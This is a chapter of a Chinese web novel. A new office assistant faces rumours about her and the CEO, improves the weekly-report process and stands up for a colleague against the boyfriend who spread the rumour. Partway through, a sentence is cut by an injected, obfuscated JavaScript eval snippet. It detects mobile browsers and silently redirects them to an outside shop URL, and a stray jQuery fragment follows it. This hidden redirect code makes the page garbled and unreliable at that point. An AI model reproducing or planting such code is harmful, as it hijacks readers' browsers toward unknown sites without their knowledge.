鹿昕不明白一个中午过去,大家的眼神为何不再友好,她只好默默坐回到工位上。
【我把你拉进总裁办负责的大群里。】
姚齐给她发了条信息,随后入群提醒跳出页面。
公告【接下来由鹿助负责整理各部门周报,各部门负责人直接发到她的邮箱里。】
鹿昕把自己群内的昵称改成名字加邮箱。
一会儿的功夫收到了不少封邮件,她一一点进去看,每个部门的周报格式不同,看起来非常累人。
她瞬间理解了“整理周报”这份工作的精髓,可是明明统一格式就能规避很多麻烦,却从没有人提出过。
难道是总裁办工作效率太强,根本不在意这一点麻烦。
可这一点麻烦对鹿昕这个职场小白来说并不简单,她仅仅是改成统一模版就花费了不少时间。
鹿昕揉了揉酸涩的眼睛,茶杯里的水已经见了底。
她拿着杯子去茶水间接水,刚到门口就听见里面的人叫她的名字。
“诶,你听说了吗?今天刚来的鹿助理好像和总裁有点关系。”
“听说了,群里不还在讨论吗?有人中午看见她长得漂亮,拍照在群里问是谁,后来不就说是今天刚来的鹿昕,聊着聊着突然有人说她是关系户。”
“和俞总有关系,什么关系?”
“男人和女人能什么关系。”
茶水间里的人说说笑笑,听上去还有揶揄地推搡,她们丝毫不在意身处公司里的公众场合。
鹿昕听完明白下午上班时目光里复杂的成分是怎么回事了?
虽然她真的是关系户,关系户的属性不同,她不能是这种关系户。
鹿昕大大方方地走进茶水间,高跟鞋踩得蹬蹬作响,把关系户仗势欺人的模样拿捏得惟妙惟肖,活脱脱像朵黑心莲花。
“男人和女人除了暧昧关系,就不能是长辈和晚辈的关系,心脏看什么都脏。”
毫不避讳的三人没想到背后说人小话被逮了个现行,尴尬地站在一旁打桩。
她接完水,走出茶水间前还不忘恐吓她们一下。
“别再背后议论别人了,都说了我是关系户,小心我告状。”
鹿昕回到位置上没有一点报仇的快感,而是对自己第一天上班就招惹出闲话的闹心。
她找出刚加上的高梦的对话框。
【梦姐,你知道我们公司聊天的大群吗?】
【知道啊,你等一下我把你拉进去。】
群里基本上公司的人都在,你一言我一语,一会不看消息就几百加,高梦平常都把这个群屏蔽掉。
不看不知道一看吓一跳,群里不知道在讨论什么消息都翻不过来。
高梦随手翻了两下,通过几句就了解了发生的事情。
看到第一个提出俞总和鹿昕关系匪浅的人出自和男友同一个部门。
想到中午时和他提过,见到俞总拿给鹿昕工牌,她心里咯噔一下,把鹿昕拉进群后找到男友问他。
【你是不是和你同事说俞总和鹿昕有关系?】
【是说了。】
【你怎么能乱说?】
【我哪里乱说了,本来就是,早上的时候鹿昕撞上俞含章的车,我亲眼看见不仅没让她赔,两个人还拉拉扯扯地进的公司。】
【你……简直不可理喻,你这个人三观有问题,我们不合适。】
高梦切换到和鹿昕的聊天页面,向她说明了事情的原委,郑重其事地和她道歉。
鹿昕想到早上男人幸灾乐祸的嘴脸,感叹自己的点到底有多背。
她打开到摇签的软件,给今天算了一卦。
否之匪人,不利君子贞。
小人当道,君子受阻。
经过几个小时和表格的战斗,鹿昕终于把各部门的周报汇总到一张表上。
空闲时,她想到为何不设计一份统一的模版和在线协作方案,每个部门的汇报人直接填写,最后再由总裁办的人审查,省时又省力。
鹿昕拿出她本科时期考取计算机二级证书的全部实力,这份模版对她手到擒来。
根据现有流程冗余的环节,她做了一份《周报流程优化方案》,用流程图展示了节省的步骤和时间。
鹿昕摁下发送键,把方案和模版一并发给了俞含章。
【记得以后直接发给姚齐的邮箱,他才是你的顶头上司。】
【哦哦哦,我这是越级了,下次不会了,你先看看我的方案。】
【不错。】
【没了?】
【明天晨会,你来主持,把你的方案向大家汇报一下。】
【我这是闲的没事干,给自己找了点事?】
俞含章没回她,可能是日理万机,去忙了。
鹿昕赶快去向姚齐请教,如何主持明天的晨会。
姚齐告诉她,会议进行的顺序都有流程图,她需要做的是和每个部门的汇报人沟通,确认好时间,做好会前和会后的整理工作,对各部门的提案判断可行性和进行风险评估,最后汇报给俞总。
还别说,第一天上班就接到如此重要的工作,让鹿昕觉得天将降大任于斯人也。
必先苦其心志,劳其筋骨,饿其体肤。
还没到下班的点,她的肚子开始唱双簧,明明中午吃得比平时都要多。
为此,她得出一个结论,动脑袋很消耗脑力,脑力由能量提供,能量由食物提供。
所以,下班后她跑得飞快,直奔心爱的那家烤肉店。
“丫丫我跟你说,我第一天上班就被全公司议论了,虽然我真的是走后门的,但我老老实实地干自己的事,招谁忍谁了。”
鹿昕说着气愤地一口咬下生菜卷烤肉,把悲伤转换为食欲。
虞令雅眼里的疼惜要溢出来:“现在的人思想很极端,好处没落到他们身上,他们就会怨怼,小鹿你千万别往心里去。”她往鹿昕碟子上夹了几块肉,又递给她生菜。
“我当然不和他们一般见识,大女人要用实力证明一切,等着我闪耀莱宗吧。”鹿昕端起桌上的可乐,豪迈地放言。
虞令雅开团秒跟,默契地和她碰杯。
“小鹿我等着你用实力打他们所有人脸的一天。”
“不用等了,明天我就要主持晨会了,而且姚助说莱宗的传统就是谁主持晨会谁来负责会议后的提案评估。”
虞令雅眼睛一亮,很捧场地说:“看来俞总很重视你。”
鹿昕撇撇嘴:“大可不必,从前我的理想就是当一只醒了就吃,困了就睡的咸鱼,我这条咸鱼硬是让我妈给翻身了,现在真有种要和课本上的知识网恋奔现的感觉。”
“那你可要让课本上的知识爱上你。”
“臣妾做不到啊。”
鹿昕发自内心的内息被身后桌的吵闹掩盖。后面的声音越演越烈,她听清楚了说话的人是今天刚认识的高梦。
“就冲你随便找女孩谣言的行为来看,你就是个人品不端,道德低下的烂人。”
对面男人的声音鹿昕听着也耳熟,认出是早上看热闹的人。
“我人品有问题,你也好不到哪去,不是你和我说今天总裁办来了个人和俞总关系暧昧,也不是你怎么说我怎么可能和别人说,嘴张在人家身上,他们往群里说我能拦住?”
高梦气得不轻,声音中带着颤抖:“你是我男朋友所以有什么事想和你分享,那也不是你随意造女生黄瑶的借口。”
往往造谣一张嘴,辟谣跑断腿,高梦和鹿昕一样,从前因为长相身材受到过不同程度的语言攻击,初中时她就比同班的男生高出一个头。
男生的嫉妒心同样强,你一言我一语,没少背地里造谣。
如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525992|203501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
今,对面人的嘴脸逐渐演变成少时那几个造谣过她的面孔,一样憎恶,恶心。
“我又没说错,今天早上她和俞总在停车场里搂搂抱抱,撞了车却不用赔,你说她不用钱赔,用什么赔?”
“田冠算是我看错你了,我还想着你找我是想求得我的原谅,没想到你原原本本就是这么个恶心透顶的人,我们别再见了。”
白日里鹿昕看见高梦谈到男友时,露出幸福的笑容,内心不是滋味。
田冠听见高梦说他恶心,嘴里喋喋不休地咒骂,鹿昕从来不是一个能坐观天外的人,更何况他辱骂的对象里还有她。
她一个猛子站起来,转身对着他们一股脑输出:“田冠是吧,就是你传我和俞含章谣言的?造谣算什么本事,欺负女人你那可怜的大男子主义得到了安抚?”
“你还真别说,你说对了,我和俞含章真有关系,你说我会不会把你刚才说的那段话拿给他听,或者说我去不去吹个枕边风。”
鹿昕摇摇手里的手机,笑得如同坐在上轿辇的华妃般。
不同的是华妃身后有家族和皇帝,而她身后空无一人。
田冠此人也就打打嘴炮,背后说点闲话,一到触碰到个人的核心利益,头缩得比谁都快。
鹿昕见他不敢再吭声,向高梦邀请道:“梦姐,别和男人生气,尤其是品行不行的男人,早发现早脱身,是好事啊,过来我们一起吃。”
高梦不再留恋,拿着包坐到了鹿昕身边,田冠一个人面对店里人看热闹的目光,屁股也坐不住,灰溜溜地走了。
鹿昕给不认识的两人互相介绍了一下,女孩子之间的友谊很神奇,一顿饭就能处成好朋友。
高梦接过虞令雅递来的烤肉,不解地问鹿昕:“刚才我和田冠的对话你真录视频了?”
“嗐,没有,他可不敢赌我录没录,赌输了饭碗就没了。”鹿昕坏笑,得意地甩开耳边的刘海。
“那你会向俞总说他造谣的事吗?对不起,侵犯你隐私了。”
鹿昕听到瞪大双眼:“怎么?你不舍得?”
高梦嗔怒地看了她一眼:“我不可能再对这种烂人留恋。”
鹿昕大师般为高梦指点迷津:“我和俞总真的没有关系,只不过他本科时期是我妈妈的学生,妈妈拜托他让我进公司学习,我只是实习一段时间。”
高梦哇了一声,惊讶时眼睛睁得圆圆的:“你妈妈是大学老师!女教授!你妈妈真了不起,你姥姥和姥爷也真了不起,那个年代能让一个女孩读到女教授,家庭的托举并不是羞耻,它恰恰证明了你有全家人的爱。”
“不想我们农村出身的,拼死拼活闯荡到上海,父母不说提供支持,他们甚至想扒开你的皮,吸附在你身上,喝干血液。”
鹿昕和虞令雅听着都十分触动,明白她一个人在大城市里打拼的不易。
两个人共同举杯,鹿昕总结性地说:“咱们话不多说,都在酒里。”看到杯中的黑褐色,“不对,可乐里。”
说完三人相视一笑。
吃饱喝足,鹿昕用上厕所的理由结了账,另外俩直说她不讲义气。
出了烤肉店迎面一阵冷风,鹿昕被冻得直哆嗦,西装领口低,露出胸前一大片。
高梦把自己脖子上的围巾摘了下来,温柔地给她戴上:“以后别穿这么少了,要风度不要温度。”
鹿昕感受着围巾带来的温暖,嘿嘿地笑:“每次嫌冷的时候我就发誓再也不穿这么少了,可是一看到那些小裙子我又忍不住穿,现在我有意识在里面搭配个牛仔裤或者穿个光腿神器,以前我可是冬天也要光腿。”
虞令雅在一旁补刀:“臭美死了,以后老寒腿了就不臭美了。”
鹿昕欠欠地说:“老了以后我就坐在轮椅上穿小裙子。”
高梦看着静静地看着她们打闹,月光下她的笑容温柔洁净。